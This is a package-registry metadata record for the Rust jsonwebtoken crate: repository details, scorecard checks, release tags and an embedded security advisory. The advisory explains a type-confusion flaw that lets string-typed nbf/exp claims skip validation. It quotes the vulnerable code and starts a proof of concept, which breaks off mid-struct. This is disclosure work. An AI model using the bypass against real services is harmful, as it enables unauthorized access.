{"id":4140293,"name":"jsonwebtoken","ecosystem":"cargo","description":"Create and decode JWTs in a strongly typed way.","homepage":"https://github.com/Keats/jsonwebtoken","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/Keats/jsonwebtoken","keywords_array":["api","jwk","jwt","token"],"namespace":null,"versions_count":59,"first_release_published_at":"2015-11-02T23:29:26.520Z","latest_release_published_at":"2026-09-16T10:18:33.566Z","latest_release_number":"11.1.0","last_synced_at":"2026-09-27T09:11:59.521Z","created_at":"2022-04-12T16:36:48.650Z","updated_at":"2026-09-27T09:12:00.177Z","registry_url":"https://crates.io/crates/jsonwebtoken/","install_command":"cargo install jsonwebtoken","documentation_url":"https://docs.rs/jsonwebtoken/","metadata":{"categories":[]},"repo_metadata":{"id":37730281,"uuid":"45360444","full_name":"Keats/jsonwebtoken","owner":"Keats","description":"JWT lib in rust","archived":false,"fork":false,"pushed_at":"2026-09-24T09:47:58.000Z","size":452,"stargazers_count":2096,"open_issues_count":62,"forks_count":367,"subscribers_count":16,"default_branch":"master","last_synced_at":"2026-09-26T07:41:43.992Z","etag":null,"topics":["jsonwebtoken","jwt","rust"],"latest_commit_sha":null,"homepage":"","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Keats.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2015-11-01T22:35:34.000Z","updated_at":"2026-09-25T21:21:54.000Z","dependencies_parsed_at":"2026-08-25T00:25:40.534Z","dependency_job_id":null,"html_url":"https://github.com/Keats/jsonwebtoken","commit_stats":{"total_commits":315,"total_committers":80,"mean_commits":3.9375,"dds":0.6984126984126984,"last_synced_commit":"c733c786fc9a31362ad21a7498cbd926d1aa7e4b"},"previous_names":["keats/rust-jwt"],"tags_count":22,"template":false,"template_full_name":null,"purl":"pkg:github/Keats/jsonwebtoken","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Keats","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/sbom","scorecard":{"id":77484,"data":{"date":"2025-08-11","repo":{"name":"github.com/Keats/jsonwebtoken","commit":"5cd1887848f7d30f11adb4ebcec6a01baffd5252"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.1,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":7,"reason":"Found 18/25 approved changesets -- score normalized to 7","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/Keats/jsonwebtoken/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/Keats/jsonwebtoken/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/Keats/jsonwebtoken/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/Keats/jsonwebtoken/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/Keats/jsonwebtoken/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/Keats/jsonwebtoken/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/Keats/jsonwebtoken/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/Keats/jsonwebtoken/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/Keats/jsonwebtoken/ci.yml/master?enable=pin","Info:   0 out of   5 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 25 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-15T05:09:47.478Z","repository_id":37730281,"created_at":"2025-08-15T05:09:47.478Z","updated_at":"2025-08-15T05:09:47.478Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":341189360,"owners_count":37706846,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-09-26T02:00:06.440Z","response_time":102,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"Keats","name":"Vincent Prouillet","uuid":"680355","kind":"user","description":"","email":"","website":"http://www.vincentprouillet.com","location":"EU","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/680355?v=4","repositories_count":158,"last_synced_at":"2026-09-25T11:58:38.739Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/Keats","funding_links":[],"total_stars":7873,"followers":873,"following":2,"created_at":"2022-11-02T16:37:46.786Z","updated_at":"2026-09-25T11:58:38.794Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Keats","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Keats/repositories"},"tags":[{"name":"v11.0.0","sha":"900010fb1be550ec2cfa8c32038eb154f9ef56d7","kind":"commit","published_at":"2026-07-24T10:58:56.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v11.0.0","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v11.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v11.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v11.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v11.0.0/manifests"},{"name":"v10.4.0","sha":"69a8fbf40a83c3d87301e75148e02b2090e4feed","kind":"commit","published_at":"2026-05-11T08:55:48.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v10.4.0","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v10.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v10.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v10.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v10.4.0/manifests"},{"name":"v10.3.0","sha":"abbc3076742c4161347bc6b8bf4aa5eb86e1dc01","kind":"commit","published_at":"2026-01-27T10:15:05.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v10.3.0","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v10.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v10.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v10.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v10.3.0/manifests"},{"name":"v10.2.0","sha":"53a3fc25b48be0af5fdab63b5698b2a24f59b3ef","kind":"commit","published_at":"2025-11-06T19:36:32.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v10.2.0","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v10.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v10.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v10.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v10.2.0/manifests"},{"name":"v10.1.0","sha":"655abeb971208fb5771a40e2fba66a937fa20f86","kind":"commit","published_at":"2025-10-18T18:07:21.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v10.1.0","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v10.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v10.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v10.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v10.1.0/manifests"},{"name":"v10.0.0","sha":"e72a3d4b53f859393c5365992c795f2b4bb13142","kind":"commit","published_at":"2025-09-29T19:37:12.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v10.0.0","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v10.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v10.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v10.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v10.0.0/manifests"},{"name":"v9.3.1","sha":"87bbe49004de17ac1c64bf25d7751c0e43cff5dc","kind":"commit","published_at":"2025-02-06T20:04:36.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v9.3.1","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v9.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v9.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v9.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v9.3.1/manifests"},{"name":"v9.3.0","sha":"5162702a858f10613d65c3687bcc627d6595ff9e","kind":"commit","published_at":"2024-03-21T22:20:35.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v9.3.0","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v9.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v9.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v9.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v9.3.0/manifests"},{"name":"v9.2.0","sha":"08601f727bea94b61e8d98901b63e43ae1bce350","kind":"commit","published_at":"2023-12-01T10:33:40.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v9.2.0","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v9.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v9.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v9.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v9.2.0/manifests"},{"name":"v9.1.0","sha":"7c8c88fa19dd46c1bb46d20a98d6b88fb490cb02","kind":"commit","published_at":"2023-10-21T21:26:54.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v9.1.0","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v9.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v9.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v9.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v9.1.0/manifests"},{"name":"v9.0.0","sha":"e7bb95213beaa029db731bbfc84e344e5ea386ad","kind":"commit","published_at":"2023-10-16T10:54:01.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v9.0.0","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v9.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v9.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v9.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v9.0.0/manifests"},{"name":"v8.3.0","sha":"8fba79b25459eacc33a80e1ee37ff8eba64079ca","kind":"commit","published_at":"2023-03-15T19:12:37.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v8.3.0","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v8.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v8.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v8.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v8.3.0/manifests"},{"name":"v8.2.0","sha":"e19cb4e27b7fcf395498aae531e29cbb151e13dc","kind":"commit","published_at":"2022-12-03T21:45:36.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v8.2.0","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v8.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v8.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v8.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v8.2.0/manifests"},{"name":"v8.1.1","sha":"35de90ac4635a4c801f8c2e3dbca44641c3e22ce","kind":"commit","published_at":"2022-06-17T19:32:03.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v8.1.1","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v8.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v8.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v8.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v8.1.1/manifests"},{"name":"v8.1.0","sha":"e869bff62fddb039ea20c60813549d30aa00e7f2","kind":"commit","published_at":"2022-04-12T18:44:30.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v8.1.0","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v8.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v8.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v8.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v8.1.0/manifests"},{"name":"v8.0.1","sha":"d8a33def00a61bab12aa5e94ff76d3043d4d474e","kind":"commit","published_at":"2022-02-03T19:50:31.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v8.0.1","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v8.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v8.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v8.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v8.0.1/manifests"},{"name":"v8.0.0","sha":"af684c146f288d993c632e15fb390f29ebe46683","kind":"commit","published_at":"2022-02-02T21:10:11.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v8.0.0","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v8.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v8.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v8.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v8.0.0/manifests"},{"name":"v7.2.0","sha":"a2c259588a494534dff3ebb75b388305a51dec57","kind":"commit","published_at":"2020-06-30T19:26:50.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v7.2.0","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v7.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v7.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v7.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v7.2.0/manifests"},{"name":"v7.1.2","sha":"952d34c139c23b8dbc3277a7a239b6359c70c5dd","kind":"commit","published_at":"2020-06-16T10:07:08.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v7.1.2","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v7.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v7.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v7.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v7.1.2/manifests"},{"name":"v7.1.1","sha":"cf6ac78714e5aca44fc7ec0a16b46bbc7a616024","kind":"commit","published_at":"2020-06-09T20:00:37.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v7.1.1","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v7.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v7.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v7.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v7.1.1/manifests"},{"name":"v7.0.1","sha":"2484d47f7d7e84bedcf2bb6e619abe165da70f47","kind":"commit","published_at":"2020-01-31T05:28:00.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v7.0.1","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v7.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v7.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v7.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v7.0.1/manifests"},{"name":"v2.0.0","sha":"8c492f1413dcfc090c37308026b2a0c2875ce158","kind":"commit","published_at":"2017-04-23T05:16:38.000Z","download_url":"https://codeload.github.com/Keats/jsonwebtoken/tar.gz/v2.0.0","html_url":"https://github.com/Keats/jsonwebtoken/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Keats/jsonwebtoken@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/tags/v2.0.0/manifests"}]},"repo_metadata_updated_at":"2026-09-27T09:12:00.177Z","dependent_packages_count":422,"downloads":197475626,"downloads_period":"total","dependent_repos_count":1863,"rankings":{"downloads":0.44923376376086943,"dependent_repos_count":0.925266401969012,"dependent_packages_count":0.22779043280182232,"stargazers_count":4.017715466476724,"forks_count":3.0980909328124007,"docker_downloads_count":0.848395946317623,"average":1.5944154906897419},"purl":"pkg:cargo/jsonwebtoken","advisories":[{"uuid":"GSA_kwCzR0hTQS1oMzk1LWdyNnEtY3BqY84ABR4w","url":"https://github.com/advisories/GHSA-h395-gr6q-cpjc","title":"jsonwebtoken has Type Confusion that leads to potential authorization bypass","description":"## Summary:\n\nIt has been discovered that there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic.\n\nWhen a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”.\n\nThis means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses.\n\n## Details:\n\nThe vulnerability stems from the interaction between the TryParse enum and the validate function in [src/validation.rs](https://github.com/Keats/jsonwebtoken/blob/master/src/validation.rs).\n\n 1. The TryParse Enum: The library uses a custom TryParse enum to handle claim deserialization:\n```\nenum TryParse\u003cT\u003e {\n    Parsed(T),\n    FailedToParse, // Set when deserialization fails (e.g. type mismatch)\n    NotPresent,\n}\n```\nIf a user sends {“nbf”: “99999999999”} (legacy/string format), serde fails to parse it as u64, and it results in TryParse::FailedToParse.\n\n 1. The Validation Logic Flaw (src/validation.rs): In Validation::validate, the code checks for exp and nbf\nlike this:\n```\n// L288-291\nif matches!(claims.nbf, TryParse::Parsed(nbf) if options.validate_nbf \u0026\u0026 nbf \u003e now + options.leeway) {\n    return Err(new_error(ErrorKind::ImmatureSignature));\n}\n```\nThis matches! macro explicitly looks for TryParse::Parsed(nbf).\n\n • If claims.nbf is FailedToParse, the match returns false.\n • The if block is skipped.\n • No error is returned.\n 1. The “Required Claims” Gap: The only fallback mechanism is the “Required Claims” check:\n```\n// Lines 259-267\nfor required_claim in \u0026options.required_spec_claims {\n    let present = match required_claim.as_str() {\n        \"nbf\" =\u003e matches!(claims.nbf, TryParse::Parsed(_)),\n        // ...\n    };\n    if !present { return Err(...); }\n}\n```\nIf “nbf” IS in required_spec_claims, FailedToParse will fail the matches!(..., Parsed(_)) check, causing the present to be false, and correctly returning an error.\n\nHowever, widely accepted usage patterns often enable validation flags (validate_nbf = true) without adding the claim to the required list, assuming that enabling validation implicitly requires the claim’s validity if it appears in the token. jsonwebtoken seems to violate this assumption.\n\nEnvironment:\n\n • Version: jsonwebtoken 10.2.0\n • Rust Version: rustc 1.90.0\n • Cargo Version: cargo 1.90.0\n • OS: MacOS Tahoe 26.2\n\nPOC:\n\nFor demonstrating, Here is this simple rust code that demonstrates the bypass. It attempts to validate a token with a string nbf claiming to be valid only in the far future.\n\ncreate a new project:\n```\ncargo new nbf_poc; cd nbf_poc\n```\nadd required dependencies:\n```\ncargo add serde --features derive\ncargo add jsonwebtoken --features rust_crypto\ncargo add serde_json\n```\nreplace the code in src/main.rs with this:\n\n```\nuse jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode};\nuse serde::{Deserialize, Serialize};\n\n#[derive(Debug, Serialize, Deserialize)]\nstruct Claims {\n    sub: String,\n    nbf: String, 